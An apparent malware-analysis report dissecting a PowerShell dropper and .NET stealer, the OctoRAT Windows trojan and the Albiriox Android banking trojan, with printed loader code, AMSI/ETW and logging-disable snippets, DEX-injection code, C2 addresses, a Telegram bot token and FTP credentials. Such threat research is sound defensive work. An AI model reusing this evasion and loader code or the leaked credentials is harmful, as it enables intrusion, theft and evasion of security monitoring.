"\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGI...ACgA='.Replace('wtvtxislef','')))))"

and base64 decoded will be:

$banana="$env:USERPROFILE\aoc.bat";if(Test-Path $banana){$rawLines=gc $banana|?{$_ -like ":::*"};$part1=($rawLines|?{$_ -like ":::1*"}|%{$_.Substring(4)});$part2=($rawLines|?{$_ -like ":::2*"}|%{$_.Substring(4)});$part3=($rawLines|?{$_ -like ":::3*"}|%{$_.Substring(4)});$kiwi=$part1+$part2+$part3;$apple=($kiwi-replace"[~#@]",""-replace"sshzuxfsghidzyh","");if($apple){try{iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($apple)))}catch{}}}
$orange='H4sIAAAAAAAEAJVU23LTMB...TgYAAA==';$mango=[Convert]::FromBase64String($orange);$pineapple=New-Object IO.MemoryStream(,$mango);iex(New-Object IO.StreamReader(New-Object IO.Compression.GZipStream($pineapple,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()

We are going to go with “:::” lines (AV evader) first then continue with second payload executed (.NET dropper).

AV Evader (PS1)

  • Try to create bypass policy:
        $currentFruitPolicy = Get-ExecutionPolicy -Scope CurrentUser -ErrorAction SilentlyContinue
        if ($currentFruitPolicy -ne 'Unrestricted' -and $currentFruitPolicy -ne 'Bypass') {
            Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue
        }
  • Try to patch EtwEventWrite, which is done using GetProcAddress to find the address in process and write “0xC3” or “0xC2, 0x14, 0x00” (translates to return)

  • set amsiSession and amsiContext value to Null (used by AVs)

  • remove child items at ‘HKLM:\SOFTWARE\Microsoft\AMSI\Providers’ registry path

  • Disable Event Logging

        $citrusUtils = [Ref].Assembly.GetType('System.Management.Automation.Utils')
        if ($citrusUtils) {
            $policyCache = $citrusUtils.GetField('cachedGroupPolicySettings','NonPublic,Static')
            if ($policyCache) {
                $currentSettings = $policyCache.GetValue($null)
                if (!$currentSettings) { $currentSettings = @{} }
                
                $currentSettings['ScriptBlockLogging'] = @{
                    'EnableScriptBlockLogging' = 0
                    'EnableScriptBlockInvocationLogging' = 0
                }
                
                $currentSettings['ModuleLogging'] = @{
                    'EnableModuleLogging' = 0
                    'ModuleNames' = @()
                }
                
                $currentSettings['ProtectedEventLogging'] = @{
                    'EnableProtectedEventLogging' = 0
                }
                
                $currentSettings['Transcription'] = @{
                    'EnableTranscripting' = 0
                    'EnableInvocationHeader' = 0
                    'OutputDirectory' = ''
                }
                
                $policyCache.SetValue($null, $currentSettings)
            }
        }

Dropper (PS1)

Now we can continue with dropper. This is small payload and not hard to understand:

$wjgbg = $env:USERNAME;
$skhbb = "C:\Users\$wjgbg\aoc.bat";

function clkq($param_var){
    $aes_var=[System.Security.Cryptography.Aes]::Create();
    $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;
    $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
    $aes_var.Key=[System.Convert]::FromBase64String('6Aw/bids5nof8naOdwuxDBa+eiQ10akrEoFwKz2axsY=');
    $aes_var.IV=[System.Convert]::FromBase64String('rFeF61yigw9cHvyuyAXmJw==');
    $decryptor_var=$aes_var.CreateDecryptor();
    $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);
    $decryptor_var.Dispose();
    $aes_var.Dispose();
    $return_var;
}

function hhzuu($param_var){
    $ectgm=New-Object System.IO.MemoryStream(,$param_var);
    $aossr=New-Object System.IO.MemoryStream;
    $esaup=New-Object System.IO.Compression.GZipStream($ectgm, [IO.Compression.CompressionMode]::Decompress);
    $esaup.CopyTo($aossr);
    $esaup.Dispose();
    $ectgm.Dispose();
    $aossr.Dispose();
    $aossr.ToArray();
}

function tukg($param_var,$param2_var){
    $azdup=[System.Reflection.Assembly]::Load([byte[]]$param_var);
    $amkwo=$azdup.EntryPoint;
    $amkwo.Invoke($null, $param2_var);
}

$host.UI.RawUI.WindowTitle = $skhbb;
$hdfiu=[System.IO.File]::ReadAllText($skhbb).Split([Environment]::NewLine);

foreach ($nxffh in $hdfiu) {
    if ($nxffh.StartsWith(':: '))
    {
        $awgoc=$nxffh.Substring(3);
        break;
    }
}

$ceen=[string[]]$awgoc.Split('\');
$bllwg=hhzuu (clkq ([Convert]::FromBase64String($ceen[0])));
$lhyw=hhzuu (clkq ([Convert]::FromBase64String($ceen[1])));
tukg $bllwg $null;
tukg $lhyw (,[string[]] ('%*'));

So, as you can see 2 executables are dropped and executed. First dropped exe is 4kb with no functionality and second is another .NET executable which drops another executable.

Dropper (.NET)

1|1000

setting breakpoint and execution is enough to retrive all bytes and save them in a file.

Stealer (.NET)

The thing about this malware is it is self-explanatory, pretty much everything is obvious and almost every function has logging

1|400

Even in the function names, you can understand every what it does. I prefer to just upload files in malware bazaar and anyone that needs deep look in the malware can check out file himself/herself using dnspy or any other decompiler.

C2

These are C2 strings I found: TelegramApi: 8442938311:AAFhmUtiYqFc4J6aGD3Cu8FYrB7hQAyUhCQ TelegramID: 5639113726

“id”:8442938311 “is_bot”:true “first_name”:“DUBEM” “username”:“DubebubeBot” “can_join_groups”:true “can_read_all_group_messages”:false “supports_inline_queries”:false “can_connect_to_business”:false “has_main_web_app”:false

IOC

57a71e4d5ce81f7931e9f9814b2ba93127f3238d76afcb7ece25d27dbd3d5d12.vbs stealer.exe

OctoRAT

RAT

What is OctoRAT?

OctoRAT is a .NET-based Remote Access Trojan (RAT) that supports a lot of commands. It was first publicly identified in late November 2025 when threat hunters traced suspicious VBScript payloads back to a GitHub repository. OctoRAT is marketed as a “remote administration framework” and has been sold via Telegram for around $800.

Static Analysis

Information

Looking up the binary in CFF Explorer (or you can just use any tool you want), we can see it is 32 bit .NET Assembly. Which in this case we will basically use dnspy-x86 (or your own favourite tool) to decompile binary. But before doing that, we can see there is Resource directory in CFF Explorer:

1|1000

Which is interesting, using Resource Hacker tool we can see, RCData holds 3 data:

  1. 185.163.204.93
  2. 8080
  3. 185.163.204.93|8080|false|false|false

We can guess from there, these are probably related to C2 server. Doing little checkup in VirusTotal, we can see the binary contacted with this ip at 2026-02-03.

Decompilation

Now we can use dnspy to continue with our research. First thing the malware does is, checking if sqlite3.dll is available in system, if not, it retrieves sqlite3 from “ftp://server09.mentality.cloud/public_html/sqlite3.dll” using credentials “admin_syn:Black900”.

1|1000

Next up, it checks if program runs as admin, if not, uses Function: GetConfig(), which reads 3th Resource string, that we found using resource hacker before. if last flag is “true” (which is false in our case), it calls to BypassUACFodHelper():

1|1000

This is a well known UAC Bypass technique, which is also mapped in MITRE ATT&CK How it works is, malware modifies “Software\Classes\ms-settings\Shell\Open\command” key to point malware path, and modifies DelegateExecute key to make it empty so, command doesn’t get ignored. fodhelper is in Microsoft’s trusted whitelist, so when it is launched, it has elevations. using this technqique, malware actually launches itself and cleans current binary. (Continues with elevated privileges)

Browser Data Extraction

The first thing malware does after checking privileges is, extracting browser data, same function for “Chrome, Edge, Brave, Opera, Opera GX, Yandex” and different one for Firefox.

1|1000

it gets passwords and cookies using same function for them, and tries to get master key if last flag is set to true, or if browser name is Edge, it tries different way to get it. Also different way to get cookies for edge browser. At the end, a zip archive created with all data. Next up, gets the ip and port (we found using Resource Hacker), sends the zip arhive in “Credentials_{0}_{1:yyyyMMdd_HHmmss}.zip” format to server.

RAT Setup

After sending zip archive, malware creates a mutex: “OctoRAT_Client_Mutex_{B4E5F6A7-8C9D-0E1F-2A3B-4C5D6E7F8A9B}”.

For initialization, it reads config again, in our case all flags were set “false”, but if 2th flag was set to true, malware would delete itself at the end and if 3th flag was set to true, malware would start up every minute even if you kill the process. It would be set up using “schtasks”, MITRE ATT&CK.

Next, malware connects to server and sends client info: hostname, username, os, country, monitorcount, (if client has crypto wallets).

NOTE: malware checks if client has crypto wallets by checking “\\Ethereum”, “\\Electrum”, “\\Exodus” in application data folder and “\\Programs\\Exodus” in local application data folder

And, there we are… in main loop. Where all important RAT features and stealers run.

Main loop

In main loop, there is HandlePacket() function which processes the packet retrieved if it is not null, but before going into it, there are 2 main things in main loop.

  1. Keylogger will be in queue if it is active (which will be set to active if server activates it by sending the packet)
  2. And if IsDesktopActive is set to true (which is also set to true if server activates it by sending packet), it periodically captures screen and sends to server.

Now we can continue with HandlePacket, which is around 1801 lines of code when decompiled. I will list all commands possible one by one, but to make it clear, i cant go to depth of all of them cause it would take a lot of time, you can use .Net decompilers to see how they are implemented by yourself, it is pretty easy to understand: Commands

End

And finally, after connection is lost or server exits, it cleans up and malware stops. 1|1000

IOC

OctoRAT_MalwareBazaar

Wallets

Desktop Wallets (%AppData%)

#NamePath
1Bitcoin\Bitcoin
2Ethereum\Ethereum
3Electrum\Electrum
4Exodus\Exodus
5Atomic\Atomic
6Binance\Binance
7Jaxx Liberty\com.liberty.jaxx
8Litecoin\Litecoin
9Dogecoin\Dogecoin
10Dash\Dash
11Zcash\Zcash
12Monero\Monero

Desktop Apps (%LocalAppData%)

#NamePath
13Coinbase\Coinbase
14Ledger Live\Ledger Live
15Trezor\Trezor

Browser Extensions — Chrome (%LocalAppData%\Google\Chrome\User Data)

#NameExtension IDProfile
16MetaMasknkbihfbeogaeaoehlefnkodbefgpgknnDefault
17PhantombfnaelmomeimhlpmgjnjophhpkkoljpaDefault
18Trust WalletegjidjbpglichdcondbcbdnbeeppgdphDefault
19Coinbase WallethnfanknocfeofbddgcijnmhnfnkdnaadDefault
20Binance ChainfhbohimaelbohpjbbldcngcnapndodjpDefault
21TronLinkibnejdfjmmkpcnlpebklmnkoeoihofecDefault
22NiftyjbdaocneiiinmjbjlgalhcelgbejmnidDefault
23MathWalletafbcbjpbpfadlkmhmclhkeeodmamcflcDefault
24MetaMasknkbihfbeogaeaoehlefnkodbefgpgknnProfile 1
25PhantombfnaelmomeimhlpmgjnjophhpkkoljpaProfile 1
26MetaMasknkbihfbeogaeaoehlefnkodbefgpgknnProfile 2

Browser Extensions — Edge (%LocalAppData%\Microsoft\Edge\User Data\Default)

#NameExtension ID
27MetaMaskejbalbakoplchlghecdalmeeeajnimhm
28Phantombfnaelmomeimhlpmgjnjophhpkkoljpa
29Trust Walletegjidjbpglichdcondbcbdnbeeppgdph

Browser Extensions — Brave (%LocalAppData%\BraveSoftware\Brave-Browser\User Data\Default)

#NameExtension ID
30MetaMasknkbihfbeogaeaoehlefnkodbefgpgknn
31Phantombfnaelmomeimhlpmgjnjophhpkkoljpa

Browser Extensions — Opera (%LocalAppData%\Opera Software\Opera Stable)

#NameExtension ID
32MetaMasknkbihfbeogaeaoehlefnkodbefgpgknn

Commands

System & Client Management

  1. “ping” - sends the ping result (ms) to server
  2. “update_client” - updates client malware.
  3. “uninstall_client” - malware cleans itself, cleans startup etc. and kills itself

Persistence & Startup

  1. “add_startup”, “add_to_startup” - Using AddStartupItem (custom function), adds binary to startup using name and path value in packet json. (path is added to “Software\Microsoft\Windows\CurrentVersion\Run”)
  2. “get_startup” - shows startup list
  3. “check_startup” - checks if “name” is in startup
  4. “remove_startup” - removes startup from “Software\Microsoft\Windows\CurrentVersion\Run” key by name

Privilege Escalation & Security Bypass

  1. “disable_uac” - sets “EnableLUA” key to 0 in “SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System”
  2. “disable_firewall” - profiles are set to off using Process.Start(“netsh”, “advfirewall set allprofiles state off”);

File & Drive Operations

  1. “list_dir” - sends back directory result (files, name, isdir, size, modified)
  2. “get_drives” - sends drive informations (letter, type, total, free)
  3. “upload_file” - uploads file from server to victim and saves at “path” json value
  4. “execute_file” - executes the file in victim (path is given in json by server)
  5. “download_file” - server downloads the file from victim by path
  6. “execute_script” - executes script in “data” after doing changes over special characters like “\n, \t and \r”
  7. “upload_file_chunk” - uploads “chunk” to “path”

Process & Service Management

  1. “get_services” - sends all services information (isAdmin, services, name, displayName, status)
  2. “stop_service” - stops service
  3. “kill_process” - kills process by pid
  4. “get_processes” - shows running processes
  5. “start_service” - starts the specific service
  6. “suspend_process” - suspends the process by pid

Registry

  1. “list_registry” - gets whole registry data
  2. “set_registry_value” - sets registry value by given “path, name, value, valueType” in json data

Remote Desktop & Input Control

  1. “rd_key_up” - ups the ctrl, shift or alt key (according to packet)
  2. “rd_key_down” - downs the ctrl, shift or alt key
  3. “rd_mouse_up” - ups the button of mouse (extracted from json) at x,y position (which is also extracted from json)
  4. “rd_mouse_down” - downs the button of mouse
  5. “rd_mouse_move” - moves mouse (x,,y)
  6. “rd_mouse_wheel” - moves whell by “delta” value at x,y position
  7. “start_desktop” - starts taking screenshots of victim’s pc (sets to true)
  8. “stop_desktop” - stops taking screenshots of victim’s pc (sets to false)
  9. “change_quality” - changes width and height of screen
  10. “take_screenshot” - takes the screenshot of screen (unlike start_desktop which is set to true to periodically take screenshot and send to server, it takes 1 time screenshot)
  11. “rd_enable_input” - enables input from remote desktop (server)
  12. “rd_disable_input” - disables input from remote desktop (server)

Surveillance & Data Theft

  1. “start_keylogger” - sets keylogger to true
  2. “stop_keylogger” - sets keylogger to false
  3. “get_autofill_data” - gets the data used for autofill by “browser”
  4. “get_browser_history” - gets history of the “browser”
  5. “start_clipboard_monitor” - periodically gets changes in clipboard and sends to server
  6. “stop_clipboard_monitor” - stops clipboard monitor

Wallet Theft

  1. “scan_wallets” - scans available wallets: Wallets
  2. “grab_wallets” - grabs available wallets and sends as “AllWallets.zip” to server
  3. “grab_single_wallet” - gets single wallet by “path” and “name”

Network

  1. “get_network_info” - sends network info (name, description, type, status, ip, mac, speed, gateway, dns) and wifi network info (ssid, password, security)

Harassment / “Fun” Commands

  1. “fun_message” - shows message in victim’s pc
  2. “open_webpage” - opens url in victim pc
  3. “fun_spam_disk” - spam opens “drive” using explorer.exe by “count” (json values provided by server)
  4. “fun_play_sound” - plays the sound at “path” location
  5. “fun_swap_mouse” - swaps mouse buttons
  6. “fun_bock_input” - uses BlockInput api from user32.dll to block keyboard and mouse input
  7. “fun_flip_screen” - flips the screen
  8. “fun_lock_screen” - locks the screen using LockWorkStartion api in user32.dll
  9. “fun_hide_taskbar” - hides taskbar using ShowWindow api in user32.dll
  10. “fun_show_taskbar” - shows taskbar
  11. “fun_open_cd_tray” - sends “set CDAudio door open” string to MCI device using mciSendString api in winmm.dll
  12. “fun_open_website” - opens website by url
  13. “fun_minimize_all” - minimizes all windows
  14. “fun_open_notepad” - opens notepad and writes “text” given by server
  15. “fun_shake_windows” - shakes windows by “intensity” for a “duration”
  16. “fun_unblock_input” - unblocks the keyboard and mouse input for victim
  17. “fun_close_cd_tray” - closes cd tray using same function as fun_open_cd_tray
  18. “fun_restore_screen” - rolls back display resolution to one before modified
  19. “fun_open_calculator” - just opens calculator
  20. “fun_change_wallpaper” - changes wallpaper to image in “path”

Albiriox

RAT

What is Albiriox?

Albiriox is a Android Malware that emerged in late 2025, specializing in full-device takeover and ODF. This malware allows attackers to directly manipulate a victim’s phone in real-time, bypassing traditional security measures like two-factor authentication (2FA) and biometrics.

Dropper

Before we analyze malware itself, i would like to explain the dropper first. Overall the flow goes like: dropper -> dropper -> RAT. The thing is first dropper is a little bit more complex than second dropper but they have almost same structure, both have json file in assets which gets rc4 decrypted and loaded. I will explain only first dropper.

First dropper

First, we can check out AndroidManifest.xml, which shows us some permissions the dropper has:

  • INSTALL_PACKAGES — silently install APKs
  • REQUEST_INSTALL_PACKAGES — prompt user to install APKs
  • DELETE_PACKAGES — uninstall other apps
  • QUERY_ALL_PACKAGES — enumerate all installed apps on the device
  • INTERNET — network access

next up, we can see android:name="com.tail.siren.Mbalconyhidden", which is the exact class we need to analyze. The code is highly obfuscated: 1|700

But if you can already select the actual code from other useless parts, it is pretty easy to clean it up. I will show parts that are important, that i cleaned up. Like the starting point for us is attachBaseContext:

    @Override
    public void attachBaseContext(Context context) throws SecurityException {
        super.attachBaseContext(context);
        this.f = context;
        String colorDirPath = a(a(this.f));
        File whipDir = a(this.f, this.g);
        a(whipDir);
        String payloadPath = b(colorDirPath);
        boolean success = d(payloadPath);
        StringBuffer stringBuffer = new StringBuffer();
        a(payloadPath, colorDirPath, stringBuffer, this.f);
    }

Actual flow goes like this (I dont want to provide all a()functions etc. it would take too much part of report):

  1. Get absolute path to app_color directory
  2. Create app_whip directory
  3. Build full path to BPJ.json inside color directory
  4. Extract payload from assets, decrypt with RC4, write to payloadPath
  5. Load the decrypted DEX using DexClassLoader

After attachBaseContext(), the OnCreate() is called:

@Override
public void onCreate() throws IllegalAccessException, NoSuchFieldException, 
        NoSuchMethodException, ClassNotFoundException, SecurityException, 
        IllegalArgumentException, InvocationTargetException {
    super.onCreate();
    StringBuffer stringBuffer = new StringBuffer("");
    String realAppClassName = stringBuffer.toString();

    boolean success = false;
    try {
        Application realApp = (Application) Class.forName(
            realAppClassName, true, getClassLoader()
        ).newInstance();

        Application thisApp = (Application) getApplicationContext();
        Class<?> contextImplClass = Class.forName(
            a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 26, 98, 55, 121, 60, 117, 45, 68, 52, 125, 53})
            // "android.app.ContextImpl"
        );
        Field mOuterContext = contextImplClass.getDeclaredField(
            a(new byte[]{52, 66, 44, 121, 60, 127, 26, 98, 55, 121, 60, 117, 45})
            // "mOuterContext"
        );
        mOuterContext.setAccessible(true);
        mOuterContext.set(this.f, realApp);
        Field mPackageInfo = contextImplClass.getDeclaredField(
            a(new byte[]{52, 93, 56, 110, 50, 108, 62, 104, 16, 99, 63, 98})
            // "mPackageInfo"
        );
        mPackageInfo.setAccessible(true);
        Object loadedApk = mPackageInfo.get(this.f);
        Class<?> loadedApkClass = Class.forName(
            a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 21, 98, 56, 105, 60, 105, 24, 125, 50})
            // "android.app.LoadedApk"
        );
        Field mApplication_loadedApk = loadedApkClass.getDeclaredField(
            a(new byte[]{52, 76, 41, 125, 53, 100, 58, 108, 45, 100, 54, 99})
            // "mApplication"
        );
        mApplication_loadedApk.setAccessible(true);
        mApplication_loadedApk.set(loadedApk, realApp);
        Field mActivityThread = loadedApkClass.getDeclaredField(
            a(new byte[]{52, 76, 58, 121, 48, 123, 48, 121, 32, 89, 49, 127, 60, 108, 61})
            // "mActivityThread"
        );
        mActivityThread.setAccessible(true);
        Object activityThread = mActivityThread.get(loadedApk);
        Class<?> activityThreadClass = Class.forName(
            a(new byte[]{56, 99, 61, 127, 54, 100, 61, 35, 56, 125, 41, 35, 24, 110, 45, 100, 47, 100, 45, 116, 13, 101, 43, 104, 56, 105})
            // "android.app.ActivityThread"
        );
        Field mInitialApplication = activityThreadClass.getDeclaredField(
            a(new byte[]{52, 68, 55, 100, 45, 100, 56, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55})
            // "mInitialApplication"
        );
        mInitialApplication.setAccessible(true);
        mInitialApplication.set(activityThread, realApp);
        Field mAllApplications = activityThreadClass.getDeclaredField(
            a(new byte[]{52, 76, 53, 97, 24, 125, 41, 97, 48, 110, 56, 121, 48, 98, 55, 126})
            // "mAllApplications"
        );
        mAllApplications.setAccessible(true);
        ArrayList appList = (ArrayList) mAllApplications.get(activityThread);
        appList.add(realApp);
        appList.remove(thisApp);
        Method attachMethod = Application.class.getDeclaredMethod(
            a(new byte[]{56, 121, 45, 108, 58, 101}),  // "attach"
            Context.class
        );
        attachMethod.setAccessible(true);
        attachMethod.invoke(realApp, this.f);
        realApp.onCreate();

        success = true;
    } catch (Exception e) {
    }
}

To simplify flow:

  1. Load the second dropper class from the decrypted DEX
  2. Use reflection to replace this loader with the second dropper in all Android framework internal fields
  3. Call attach() and onCreate() on the second dropper.

Actually a lot more cleaning and understanding of what helper functions did was needed to understand dropper but this is basic flow. Second dropper looks almost exactly same with nearly same logic, except in first dropper, it replaces ClassLoader entirely for DEX injection , but second dropper appends RAT to DexPathList.

RAT

Now we can actually analyze the RAT itself. The difficult part about this malware is, it is not obfuscated or anything, it just has a lot of functionalities and the decompiled code is 4830 lines. I will list as many functionalities as possible (I might leave out some simple things). I will provide code too, if it is interesting.

One thing we know about RAT is, the our starting class will be MainActivity. In OnCreate() function it calls startContinousCheck() at the last part which is the function we have to analyze now to understand what it does:

private void startContinuousCheck() {  
	this.checkHandler = new Handler();  
	Runnable runnable = new Runnable() {
		@Override // java.lang.Runnable  
		public void run() {  
			if (!MainActivity.this.batteryOptimizationChecked && !MainActivity.this.isRequestingPermission) {  
				if (((PowerManager) MainActivity.this.getSystemService("power")).isIgnoringBatteryOptimizations(MainActivity.this.getPackageName())) {  
					MainActivity.this.batteryOptimizationChecked = true;  
					Toast.makeText(MainActivity.this, "✓ Battery optimization disabled", 0).show();  
				} else if (!MainActivity.this.isRequestingPermission) {  
					MainActivity.this.isRequestingPermission = true;  
					MainActivity.this.requestBatteryOptimizationExemption();  
				}  
				MainActivity.this.checkHandler.postDelayed(this, 500L);  
				return;  
			}  
			if (MainActivity.this.isXiaomiDevice && MainActivity.this.batteryOptimizationChecked && !MainActivity.this.xiaomiPermissionsRequested) {  
				MainActivity.this.requestXiaomiPermissions();  
				MainActivity.this.checkHandler.postDelayed(this, 500L);  
				return;  
			}  
			if (MainActivity.this.batteryOptimizationChecked && !MainActivity.this.accessibilityChecked && !MainActivity.this.isRequestingPermission) {  
				if (MainActivity.this.isAccessibilityServiceEnabled()) {  
					MainActivity.this.accessibilityChecked = true;  
					Toast.makeText(MainActivity.this, "✓ Accessibility service enabled", 0).show();  
					if (!MainActivity.this.serviceStarted) {  
						MainActivity.this.startAccessService();  
						MainActivity.this.serviceStarted = true;  
					}  
				} else if (!MainActivity.this.isRequestingPermission) {  
					MainActivity.this.isRequestingPermission = true;  
					MainActivity.this.openAccessibilitySettings();  
				}  
				MainActivity.this.checkHandler.postDelayed(this, 500L);  
				return;  
			}  
			if (MainActivity.this.batteryOptimizationChecked && MainActivity.this.accessibilityChecked && MainActivity.this.serviceStarted) {  
				if (MainActivity.this.isXiaomiDevice && !MainActivity.this.getSharedPreferences("app_prefs", 0).getBoolean("xiaomi_instructions_shown", false)) {  
					MainActivity.this.showXiaomiFinalInstructions();  
					MainActivity.this.getSharedPreferences("app_prefs", 0).edit().putBoolean("xiaomi_instructions_shown", true).apply();  
				}  
				MainActivity.this.checkHandler.postDelayed(new Runnable() {
					@Override // java.lang.Runnable  
					public void run() {  
						MainActivity.this.finish();  
					}  
				}, 2000L);  
				return;  
			}  
			MainActivity.this.checkHandler.postDelayed(this, 500L);  
		}  
	};  
	this.checkRunnable = runnable;  
	this.checkHandler.post(runnable);  
}
  1. First it checks if Battery Optimization is enable, if so it disables, optimization to keep the app alive using technique:
Intent intent = new Intent();  
                intent.setAction("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");  
intent.setData(Uri.parse("package:" + getPackageName()));  
startActivityForResult(intent, 1002);

if so it fails, tells user to disable optimization in settings manually.

  1. If device is Xiaomi, it gives instruction on what to do to user related to permissions.
  2. After all of these, the important part comes. startAccessService() is called after checking if it is activated or not.
public void startAccessService() {  
	try {  
		Intent intent = new Intent(this, (Class<?>) AccessService.class);  
		intent.setAction("INITIAL_START");  
		startForegroundService(intent);  
		ServiceKeeperWorker.schedule(this);  
		Toast.makeText(this, "✓ Service Started", 0).show();  
	} catch (Exception e) {  
		Toast.makeText(this, "Error: " + e.getMessage(), 0).show();  
	}  
}

What it does is, basically starting up AccessService class (which is the part where 4000+ lines of code exists). When it calls, the flow continues from onStartCommand(), it is not really important. It’s only job is keeping the service alive.

Is Accessibility On?

Now if you remember in MainActivity, malware tries to make user turn on Accessibility. If user turns it on, malware automatically runs (Android calls) onServiceConnected() (where all magic happens). Just looking at this function, we can understand a lot of functionality of malware:

public void onServiceConnected() throws JSONException, IOException {  
	super.onServiceConnected();  
	AntiRemove.startMonitoring(this);  
	this.handler = new Handler(Looper.getMainLooper());  
	this.windowManager = (WindowManager) getSystemService("window");  
	this.powerManager = (PowerManager) getSystemService("power");  
	this.keyguardManager = (KeyguardManager) getSystemService("keyguard");  
	this.blankOverlay = new BlankOverlay(this, this.windowManager, this.handler);  
	setupAntiDozeSystem();  
	setupWorkManager();  
	setupAlarmManager();  
	startServiceHeartbeat();  
	startEnhancedForegroundService();  
	registerCredentialsReceiver();  
	this.deviceHWID = getOrCreatePersistentHWID();  
	Log.d(TAG, "========================================");  
	Log.d(TAG, "Service connected with Anti-Doze");  
	Log.d(TAG, "Device: " + this.deviceModel);  
	Log.d(TAG, "HWID: " + this.deviceHWID);  
	Log.d(TAG, "Server IP: 185.208.156.239");  
	Log.d(TAG, "Battery Optimization: " + isBatteryOptimizationDisabled());  
	Log.d(TAG, "========================================");  
	this.executorService = Executors.newCachedThreadPool();  
	loadPendingActionsFromFile();  
	if (this.hasPendingActions) {  
		Log.d(TAG, "Found " + this.pendingUserActions.size() + " pending actions");  
	}  
	startForegroundService();  
	startConnectionManager();  
	scheduleDozeResistantAlarm();  
}

NOTE: I left out some purposefully. (not a big deal)

  1. AntiRemove.startMonitoring(this); - this is a smart way to don’t let use uninstall the app any way possible. There are 2 modes:

    1. Non-Strict: When apps name appears in Settings at all, malware presses Home to don’t let user do further activity.
    2. Strict: Only blocks if uninstall keywords are found, around 50+ languages supported.
  2. setupAntiDozeSystem(); - 3 permanent WakeLocks are acquired through this function (These basically run even when screen is off etc.):

    1. CPUWakeLock - PARTIAL_WAKE_LOCK + ACQUIRE_CAUSES_WAKEUP
    2. WifiWakeLock - PARTIAL_WAKE_LOCK
    3. NetworkWakeLock - PARTIAL_WAKE_LOCK
  3. setupWorkManager( - makes app survive kills, reboots etc. Even if AccessService dies, WorkManager restarts it.

  4. setupAlarmManager() sets alarm for 2 minutes, which restarts service everytime.

  5. registerCredentialsReceiver() - Registers a BroadcastReceiver to listen for login activity event. com.nmz.nmz.CREDENTIALS_CAPTURED is sent by LoginActivity when the victim enters creds (which i will explain later on)

  6. getOrCreatePersistentHWID() - generates unique fingerprint for the device, so hacker can identify each victim.

  7. loadPendingActionsFromFile() - sends file “pending_actions.json” (user actions that were captured while the device was offline) to C2.

  8. startConnectionManager() - starts the main connection thread which we will go deep into.

StartConnectionManager()

The function itself is long so, I don’t want to paste it. To explain the whole function in simple terms:

  • This is the core network thread that manages the connection to the attacker’s server. It runs forever in a loop.

The functions we are interested in here are:

  1. startReceiverThread();
  2. sendPendingLoginData(); // send offline-captured credentials
  3. startFrameCaptureThread(); // start screen streaming
  4. startStatsReporter(); // start logging stats

We can just understand functionalities of 2-4 by their name. But why are we actually interested in startReceiverThread()? Because This function calls handleControlMessage(), which executes the control commands from C2 like (I wrote explanation to only confusing ones):

  1. click
  2. swipe
  3. volume_up
  4. recent - opens recent apps
  5. volume_down
  6. uninstall_app
  7. blank_screen
  8. live_key_stop - turns off keylogger
  9. back
  10. home
  11. text - injects text into input field
  12. click
  13. power
  14. launch_app
  15. set_vnc_mode - switches between screenshot and accessibility mode (accessibility captures UI tree as JSON, no visuals)
  16. black_blank_screen
  17. live_key - turns on full keylogger, captures everything real time
  18. get_apps

That’s almost all about the banking trojan, but I think I also have to include every package malware looks for: NOTE: These are the malware that looks for and when it detects, LoginActivity is launched immediately.

Crypto_Packages Apps_Packages

IOC

Dropper1 Dropper2 RAT

Crypto_Packages

  1. com.wallet.crypto.trustapp
  2. io.metamask
  3. io.metamask.mobile
  4. com.coinbase.android
  5. piuk.blockchain.android
  6. com.bitcoin.mwallet
  7. com.bitpay.wallet
  8. com.breadwallet
  9. com.mycelium.wallet
  10. com.electrum.electrum
  11. com.coinomi.wallet
  12. io.atomicwallet
  13. com.exodus.exodus
  14. com.safepal.wallet
  15. org.toshi
  16. com.ledger.live
  17. com.tangem.wallet
  18. io.zerion.android
  19. com.rainbow.me
  20. com.argent.app
  21. com.alphawallet.app
  22. com.wallet.mobile
  23. im.token.app
  24. com.viabtc.wallet
  25. com.guarda.wallet
  26. com.freewallet.monero
  27. com.trezor.suite
  28. com.unstoppable.money
  29. com.enjin.mobile.wallet
  30. com.mathwallet.android
  31. com.tokenpocket.android
  32. com.phantom.app
  33. app.solflare.mobile
  34. com.sollet.app
  35. com.slope.wallet
  36. com.glow.wallet
  37. com.terrastation.mobile
  38. wannabit.io.cosmostaion
  39. com.keplr.wallet
  40. com.xdefi.wallet
  41. com.frontier.wallet
  42. com.pillar.wallet
  43. com.gnosis.safe
  44. com.portis.wallet
  45. com.fortmatic.wallet
  46. com.walletconnect.wallet
  47. com.opera.crypto
  48. com.brave.browser
  49. com.status.ethereum
  50. com.jaxx.liberty
  51. com.edge.app
  52. com.zelcore.wallet
  53. com.infinitowallet
  54. com.klever.wallet
  55. com.onto.wallet
  56. com.cybavo.wallet
  57. com.cobo.wallet
  58. com.coolbitx.cwallet
  59. com.d4wallet.app
  60. com.ballet.wallet
  61. com.keyst.app
  62. com.zengo.wallet
  63. com.blue.wallet
  64. com.greenaddress.greenbits_android_wallet
  65. com.muunwallet
  66. com.nunchuk.android
  67. com.sparrowwallet.sparrow
  68. com.wasabiwallet.mobile
  69. com.samourai.wallet
  70. com.blockstream.green
  71. com.casa.wallet
  72. com.phoenix.wallet
  73. com.lightning.wallet
  74. com.breez.client
  75. com.getumbrel.app
  76. com.zap.wallet
  77. fr.acinq.eclair.wallet
  78. com.binance.dev
  79. com.binancemini
  80. co.mona.android
  81. com.kraken.trade
  82. com.kraken.pro
  83. com.bitfinex.mobileapp
  84. com.bybit.app
  85. com.okex.gp
  86. com.okx.calculator
  87. com.gateio.gateio
  88. com.kucoin.kumex
  89. com.huobi.gp
  90. com.huobi.pro
  91. com.htx.app
  92. com.crypto.exchange
  93. com.ftx.mobile
  94. com.gemini.android.app
  95. com.bittrex.trade
  96. com.poloniex.app
